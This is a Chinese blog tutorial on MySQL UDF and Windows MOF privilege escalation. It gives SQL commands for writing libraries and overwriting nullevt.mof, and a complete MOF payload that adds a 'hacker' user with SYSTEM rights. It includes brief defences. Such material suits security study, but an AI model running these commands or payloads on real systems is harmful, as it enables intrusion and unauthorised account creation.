ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

UDF提权与MOF提权

2021-06-05 21:00:53  阅读:184  来源: 互联网

标签:文件 函数 MOF 提权 UDF mysql 动态链接库 目录


UDF提权与MOF提权


话不多说,直接上过程

一、UDF提权

MYSQL提供了一项正常的功能拓展,那就是允许使用用户自定义的函数。利用这一特性,我们便能在sqlshell的基础上获取到osshell
通过自定义mysql函数,对mysql的功能进行扩充,添加的函数可以像mysql的内置函数一样被调用执行,mysql的用户自定义函数存放mysql根目录下的/mysql/lib/plugin里面,这里面存储着mysql的动态链接库文件。我们将自定义的库文件放进去后,还要在mysql中执行create FUNVTION function_name RETURNS STRING SONAME 'udf.dll' 命令将该库文件中的函数导入,才能使用该函数,就像python里面的导入模块、方法一样。

1.1 条件

  1. 动态连接库文件
    这个udf.dll 不需要我们自己编写,我们也没有哪个本事,可以利用sqlmap为我们提供的。
  2. webshell
    进行udf提权的前提是我们已经获得了一个网站的webshell了.
  3. root用户名密码
    获得webshell后,我们需要在网站的一些敏感文件里面寻找数据库文件的用户名密码,如像config.php connect.php这类文件。
  4. 对数据库插件目录的写权限

1.2 动态链接库文件获取

我们从两个地方获取动态链接库文件

  1. sqlmap

    /usr/share/sqlmap/data/udf/mysql/linux/64/

在这里插入图片描述
sqlmap中的四个动态链接库文件是加过密的,需要在/sqlmap/extra/cloak目录下执行下面命令才能生效。

python .\cloak.py -d -i ../../data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o linux_udf_64.so
  1. metesploit

    /usr/share/metasploit-framework/data/exploits/mysql

在这里插入图片描述

1.3 查看插件目录位置

我的试验环境kali的目录为/usr/lib/x86_64-linux-gun/mariadb19/plugin
也可以通过在sqlshell中执行

select @@plugin_dir

在这里插入图片描述
插件目录默认是不存在的,需要我们手动创建,但是sql用户往往并不具备创建文件夹的权限,故在windows系统下,可以通过ads备份文档流的方式绕过。linux系统就狗带

select @@basedir; //查找到mysql的目录 
 
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS创建lib目录 
 
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';//利用NTFS ADS创建plugin目录

1.4 动态连接库文件导入

我只是在本机上验证这种方法是否有效,所以没有模拟真实网络环境,真实环境是需要通过sqlshell创建文件,将我们的so文件内容写道文件中去的。这里我们直接将动态链接库文件复制到插件目录

在这里插入图片描述

1.5 将函数导入mysql

只是将动态链接库放到插件目录中是不够的,我们还需要将其中我们要使用的函数,导入到mysql中才能生效。首先我们使用ida产看该so文件中有哪写函数
在这里插入图片描述
上图函数具体的用法,自行百度。这里我们使用sys_eval,该函数可是使我们执行系统命令
然后我们导入该函数
在这里插入图片描述
查看命令执行效果
在这里插入图片描述

在这里插入图片描述
可以看到成功执行了系统命令

二、MOF提权

2.1 利用条件

必须在windows server 2003以下版本的服务器才能成功执行

2.2 利用过程

c:\windows\system32\wbem\mof\nullevt.mof 每隔一分钟就会以System身份执行一次,于是我们想办法将这个文件替换掉成我们想要的代码就ok了。那么要首先提权,我们就必须要满足以下的条件
首先我么们已经获取了以root权限运行的sqlshell,root用户读该目录具有写的权限,apache的secure-file-priv处于没有对访问目录做限制。
我们可以用以下命令查看
show global variables like '%secure_file_priv%'
如果上述条件满足则可以尝试执行
select load_file('mof提权文件路径') into dumpfile 'c:\windows\system32\wbem\mof\nullevt.mof'
网上公开的mof文件内容

pragma namespace("\\\\.\\root\\subscription")

instance of __EventFilter as $EventFilter
{
    EventNamespace = "Root\\Cimv2";
    Name  = "filtP2";
    Query = "Select * From __InstanceModificationEvent "
            "Where TargetInstance Isa \"Win32_LocalTime\" "
            "And TargetInstance.Second = 5";
    QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
    Name = "consPCSV2";
    ScriptingEngine = "JScript";
    ScriptText =
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net user hacker 123456 /add\")";
    //cmd以system权限执行的语句
};

instance of __FilterToConsumerBinding
{
    Consumer   = $Consumer;
    Filter = $EventFilter;
};

2.3 防御方法

  1. 限制mysql的访问
  2. 不要以root用户身份登录
  3. 设置该目录为不可写

三、其他提权方式

3.1 启动项提权

一样对的配方,只需要将文件放到操作系统的开启自启执行路径里面就可以了。

3.2 反弹shell

话不多说,贼简单

3.3 缓冲区溢出

吱个我还真不太清楚

3.4 暴力登录

先尝试登录个一万次试试

标签:文件,函数,MOF,提权,UDF,mysql,动态链接库,目录
来源: https://blog.csdn.net/qq_32731075/article/details/117603458

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有